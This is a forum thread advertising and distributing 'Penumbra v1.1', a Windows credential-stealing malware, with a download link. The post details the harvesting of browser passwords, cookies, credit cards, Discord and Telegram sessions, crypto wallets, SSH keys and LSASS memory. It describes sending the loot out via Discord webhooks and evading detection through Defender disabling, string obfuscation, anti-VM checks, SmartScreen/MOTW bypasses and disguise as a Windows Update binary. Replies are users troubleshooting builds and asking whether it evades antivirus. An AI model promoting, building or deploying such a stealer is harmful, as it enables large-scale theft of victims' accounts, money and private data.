[rspower]

Penumbra v1.1

A modern Windows Stealer written in pure C++17. Build Details: Statically linked (/MT) — no .NET, no C++ redistributables, no runtime of any kind. Single standalone executable with all features built-in.
____________________________________________________________________

📦 Stealer

• Browsers (13 Chromium + Gecko):
  
  • Passwords: Includes Chrome App-Bound Encryption (v20) decoded end-to-end (LSASS-DPAPI double decryption, CNG/KSP key handling)
    
  
  
  • Cookies: Full session material, domain-accurate
    
  
  
  • Saved Financials: Stored credit card details
    
  
  
  • Tokens: Account restore tokens
    
  
  
  • Autofill: Saved form entries and physical addresses
    
  
  
  • History & Bookmarks: Complete browsing history and saved links
    
  
  
  • Web Storage: LocalStorage, SessionStorage, and IndexedDB
    
  
  
  • Firefox Keyring: Native parsing of NSS key3/key4 databases
    
  
  
  
  
  


• Discord & Messaging:
  
  • Discord: Authentication tokens, MFA status, email, phone number, billing methods, gift codes, and Nitro status
    
  
  
  • Telegram: Active session files (.tdata)
    
  
  
  • Tox: Identity profiles and active session dumps
    
  
  
  
  
  


• Gaming:
  
  • Steam: Session configuration (config.vdf) and login credentials
    
  
  
  • Minecraft: Active session files
    
  
  
  • Roblox: Account authentication cookies
    
  
  
  • System Inventory: Complete enumeration of installed games
    
  
  
  
  
  


• Credentials & System Memory:
  
  • SSH Keys: Full content of the ~/.ssh directory
    
  
  
  • Crypto Wallets: Automatic detection and packaging of standard wallet formats
    
  
  
  • LSASS Memory Dump: Full process memory capture (lsass.dmp) containing active security tokens
    
  
  
  • Credential Vaults: Windows Credentials (WinCred), third-party password managers, TOTP authenticator secrets, FTP client saved logins, developer credentials, and Outlook profile data
    
  
  
  
  
  


• System Environment & Reconnaissance:
  
  • Hardware Fingerprint: System UUID, disk serial numbers, CPU, GPU, and total RAM
    
  
  
  • System State: Active running processes, connected USB devices, and network topology
    
  
  
  • IP & Geo Posture: External IP, country, region, timezone, reverse DNS, and proxy/VPN/mobile detection
    
  
  
  • On-Demand Media: Webcam snapshots, multi-monitor display captures, and secondary RAM/history passes
    
  
  
  
  

____________________________________________________________________

📡 Exfiltration & Delivery

• Discord Webhook: JSON embed (summary counts + system/IP info) followed by the zipped archive dump
  


• Chunked Uploads: Large dumps are split into parts and uploaded automatically
  


• Failover Webhook (L2): Permanent errors (401/404) fail over instantly; transient errors (429 / 5xx / network) retry with exponential backoff, honoring Retry-After
  


• Execution Control: Optional kill-switch URL and pre-run delay
  

____________________________________________________________________

🛡 Evasion & Hardening

• AV-First Loader: Elevates via UAC, adds exclusions, and disables IOAV before the payload touches disk, preventing Defender scans on file creation
  


• VM Gate: Loud AV-stop operations only run on physical hardware (checked via CPUID + BIOS vendor); stays dormant inside virtual environments
  


• L2 Key Separation: AES-GCM blob key is zeroed inside the payload and carried as a separate resource in the loader (payload alone cannot self-decrypt, retaining its own key as a fallback)
  


• String Obfuscation: Stealer-typical strings (browser paths, "Login Data", "lsass.exe", embed text) are XOR-encoded at compile time to evade static string analysis and YARA signatures
  


• Anti-VM & Anti-Debug: Optional silent termination upon detecting debuggers or virtual machines
  


• Persistence & Concealment: Optional melt (self-hide) and startup persistence capabilities
  


• Modular Configuration: 20+ feature flags to toggle individual capabilities
  

____________________________________________________________________

🚪 Delivery Options (SmartScreen Bypasses)

• Bare Exe: Standalone binary
  


• Loader: Payload embedded as a resource, extracted to %TEMP% at runtime
  


• VBS Launcher: Script launcher to bypass SmartScreen risk scores
  


• LNK Shortcut: Hidden window execution style
  


• ClickOnce Package: .application + .manifest + managed host running as a child process of dfsvc.exe (bypasses SmartScreen and MOTW)
  


• Code Signing: Integration with signtool, SHA256, and DigiCert timestamping (executable + payload)
  

____________________________________________________________________

🛠 Builder

• Interface: Full GUI (Dark Theme) and CLI support for scripting/CI integration
  


• Webhook Validation: Pre-build live connection check (200 / 401 / 404 against Discord) + URL shape validation (catches truncated 405s at build time)
  


• Spoofing: PE version-info and icon spoofing (default persona: Windows Update Client / wuauclt)
  


• False-Positive Helper: --fp-report flag prints file size along with SHA1/SHA256 hashes for Microsoft FP submission
  

____________________________________________________________________

🚩 Feature Flags

Code

ping · startup · antivm · melt · blockav · discord · passwords · cookies · games · telegram · sysinfo · wallets · webcam · screenshot · ssh · outlook · ram · history · keeplogs · webstorage · antidebug

🔐 loading encrypted image…

🔐 loading encrypted image…

## v1.1 — 2026-09-09

### Fixed
- Chrome (2026 App-Bound Encryption) Chrome/Chromium passwords and cookies were
missing from the logs

- Gecko / Firefox modern Firefox (NSS `key4.db`) login passwords and cookies now
decrypt correctly.


Scan:
https://antiscan.me/scans/90cbeb56-b2e5-...34d6594eb2 (with loader)
DL:
https://anonfilesnew.com/s/GgorCoFSHBb

[SanchezCoder]

the link is broken

[rspower]

the link is broken

its working

[jason123]

I will take a look at it, thanks for this.

[isutsang]

damn wish i could build something like this

[haroldzigger]

hey man maybe i'm just stupid (new to this shit) but i can't get it to build an executable file. Project is ready, conf is complete and output is selected. is there something i'm missing ?

---

hey man maybe i'm just stupid (new to this shit) but i can't get it to build an executable file. Project is ready, conf is complete and output is selected. is there something i'm missing ?

Just realized i maybe should call it something.exe and not just something lol. But nonetheless, opening it gives a missing dll error and doesn't forward it to the webhook

[rspower]

hey man maybe i'm just stupid (new to this shit) but i can't get it to build an executable file. Project is ready, conf is complete and output is selected. is there something i'm missing ?

---

Just realized i maybe should call it something.exe and not just something lol. But nonetheless, opening it gives a missing dll error and doesn't forward it to the webhook

can you send a screenshot from the error msg ?

[jason123]

I like the GUI and promising project but work on Chrome recovery

[haroldzigger]

can you send a screenshot from the error msg ?

nvm my VM was not configured well

[rspower]

## v1.1 — 2026-09-09

### Fixed
- Chrome (2026 App-Bound Encryption) Chrome/Chromium passwords and cookies were
missing from the logs

- Gecko / Firefox modern Firefox (NSS `key4.db`) login passwords and cookies now
decrypt correctly.

[jason123]

OP you are doing well but the fixing did not effect, I tested and same, chrome and FireFox still cannot be fetched, try to check it again

[Overnightmilly]

hey man maybe i'm just stupid (new to this shit) but i can't get it to build an executable file. Project is ready, conf is complete and output is selected. is there something i'm missing ?

---

Just realized i maybe should call it something.exe and not just something lol. But nonetheless, opening it gives a missing dll error and doesn't forward it to the webhook

did you get it figured out?

[rspower]

OP you are doing well but the fixing did not effect, I tested and same, chrome and FireFox still cannot be fetched, try to check it again

fixed try again

[XtremeDiscount]

Does this come FUD?

[rspower]

Does this come FUD?

ofc not check the scan link